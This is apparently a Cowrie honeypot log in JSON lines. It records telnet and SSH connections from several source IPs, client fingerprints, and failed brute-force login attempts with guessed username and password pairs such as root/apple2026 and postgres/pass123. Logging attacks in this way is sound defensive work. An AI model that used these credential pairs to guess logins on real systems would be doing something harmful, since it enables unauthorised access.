{"eventid":"cowrie.session.closed","duration":0.24964356422424316,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.885156Z","src_ip":"34.140.175.139","session":"08f0556a47a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.4147953987121582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.889255Z","src_ip":"34.140.175.139","session":"7555eb54b3b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0542840957641602,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.892448Z","src_ip":"34.140.175.139","session":"28cfadfe926c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7329216003417969,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.895771Z","src_ip":"34.140.175.139","session":"d0850a76d2d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2174692153930664,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.899377Z","src_ip":"34.140.175.139","session":"eb15884adc15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3781788349151611,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.904605Z","src_ip":"34.140.175.139","session":"956fc7d6640b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5361356735229492,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.908080Z","src_ip":"34.140.175.139","session":"ec5a191f365a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7002320289611816,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.918839Z","src_ip":"34.140.175.139","session":"44abbda08c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0197806358337402,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.923390Z","src_ip":"34.140.175.139","session":"feffd09776ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8663983345031738,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.926958Z","src_ip":"34.140.175.139","session":"be2602bad0ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1808595657348633,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.930929Z","src_ip":"34.140.175.139","session":"c8ef387f94e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.723456621170044,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.936009Z","src_ip":"34.140.175.139","session":"38f63882e82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.498154640197754,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.939178Z","src_ip":"34.140.175.139","session":"78d4c224b9fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.884540319442749,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.942521Z","src_ip":"34.140.175.139","session":"d527ed38e68e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.19938063621521,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.945919Z","src_ip":"34.140.175.139","session":"ec88e15c5cca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0456018447875977,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.949038Z","src_ip":"34.140.175.139","session":"748626cbf9b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3609414100646973,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.953338Z","src_ip":"34.140.175.139","session":"9bc371a77c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.519887924194336,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.956814Z","src_ip":"34.140.175.139","session":"99963d992fd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.679377794265747,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.960743Z","src_ip":"34.140.175.139","session":"1592537830b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.836542844772339,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.963344Z","src_ip":"34.140.175.139","session":"48d7d70a3b45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.994220733642578,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.966156Z","src_ip":"34.140.175.139","session":"b2f2fe1be4e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":24480,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a01773f8991","protocol":"telnet","message":"New connection: 34.140.175.139:24480 (159.203.135.109:23) [session: 0a01773f8991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.981156Z"}
{"eventid":"cowrie.session.closed","duration":13.338106155395508,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.986066Z","src_ip":"34.140.175.139","session":"0580551aa426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.654272317886353,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.989525Z","src_ip":"34.140.175.139","session":"b8dac11a3483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.02247476577758789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:07.003527Z","src_ip":"34.140.175.139","session":"0a01773f8991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":24482,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ec03535bdcd","protocol":"telnet","message":"New connection: 34.140.175.139:24482 (159.203.135.109:23) [session: 5ec03535bdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:07.152656Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":24490,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f7b4581ae55","protocol":"telnet","message":"New connection: 34.140.175.139:24490 (159.203.135.109:23) [session: 3f7b4581ae55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:07.307654Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 1060","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 1060] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:07.313793Z","src_ip":"34.140.175.139","session":"3f7b4581ae55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.614894151687622,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:20.922444Z","src_ip":"34.140.175.139","session":"3f7b4581ae55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.774509191513062,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:20.927042Z","src_ip":"34.140.175.139","session":"5ec03535bdcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.141356468200684,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:20.930583Z","src_ip":"34.140.175.139","session":"b61701cbbcd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":34086,"dst_ip":"10.17.0.5","dst_port":22,"session":"140feec07412","protocol":"ssh","message":"New connection: 50.6.248.168:34086 (10.17.0.5:22) [session: 140feec07412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:35.023141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:35.029099Z","src_ip":"50.6.248.168","session":"140feec07412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:35.042099Z","src_ip":"50.6.248.168","session":"140feec07412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Welcome1","message":"login attempt [ftpuser/Welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:35.118971Z","src_ip":"50.6.248.168","session":"140feec07412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:36.133729Z","src_ip":"50.6.248.168","session":"140feec07412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.32","src_port":57842,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4a262b1e48d","protocol":"ssh","message":"New connection: 64.62.197.32:57842 (159.203.135.109:22) [session: d4a262b1e48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:43.849043Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:43.857857Z","src_ip":"64.62.197.32","session":"d4a262b1e48d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:43.860862Z","src_ip":"64.62.197.32","session":"d4a262b1e48d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":31351,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e43acee53d9","protocol":"ssh","message":"New connection: 124.7.227.98:31351 (159.203.135.109:22) [session: 9e43acee53d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:06.318712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:06.323835Z","src_ip":"124.7.227.98","session":"9e43acee53d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:06.540931Z","src_ip":"124.7.227.98","session":"9e43acee53d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apple2026","message":"login attempt [root/apple2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:07.439182Z","src_ip":"124.7.227.98","session":"9e43acee53d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:08.658908Z","src_ip":"124.7.227.98","session":"9e43acee53d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":59380,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04b6e82dc54","protocol":"ssh","message":"New connection: 50.6.248.168:59380 (10.17.0.5:22) [session: e04b6e82dc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:28.025973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:28.030584Z","src_ip":"50.6.248.168","session":"e04b6e82dc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:28.051962Z","src_ip":"50.6.248.168","session":"e04b6e82dc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass123","message":"login attempt [postgres/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:28.165471Z","src_ip":"50.6.248.168","session":"e04b6e82dc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:29.192226Z","src_ip":"50.6.248.168","session":"e04b6e82dc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":16968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6cb4142f2b0","protocol":"ssh","message":"New connection: 107.150.103.210:16968 (10.17.0.5:22) [session: e6cb4142f2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:39.013219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:39.017643Z","src_ip":"107.150.103.210","session":"e6cb4142f2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:39.088331Z","src_ip":"107.150.103.210","session":"e6cb4142f2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu123","message":"login attempt [Ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:39.402434Z","src_ip":"107.150.103.210","session":"e6cb4142f2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:40.477242Z","src_ip":"107.150.103.210","session":"e6cb4142f2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.229.92","src_port":58977,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d56b18aba49","protocol":"telnet","message":"New connection: 181.94.229.92:58977 (10.17.0.5:23) [session: 5d56b18aba49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:44.850386Z"}
{"eventid":"cowrie.session.closed","duration":13.648792028427124,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:08:58.499095Z","src_ip":"181.94.229.92","session":"5d56b18aba49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":44502,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e935f56a034","protocol":"ssh","message":"New connection: 50.6.248.168:44502 (10.17.0.5:22) [session: 4e935f56a034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:09:21.764025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:09:21.769595Z","src_ip":"50.6.248.168","session":"4e935f56a034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:09:21.785595Z","src_ip":"50.6.248.168","session":"4e935f56a034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"9981","message":"login attempt [ubuntu/9981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:09:21.863765Z","src_ip":"50.6.248.168","session":"4e935f56a034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:09:22.880596Z","src_ip":"50.6.248.168","session":"4e935f56a034","protocol":"ssh"}
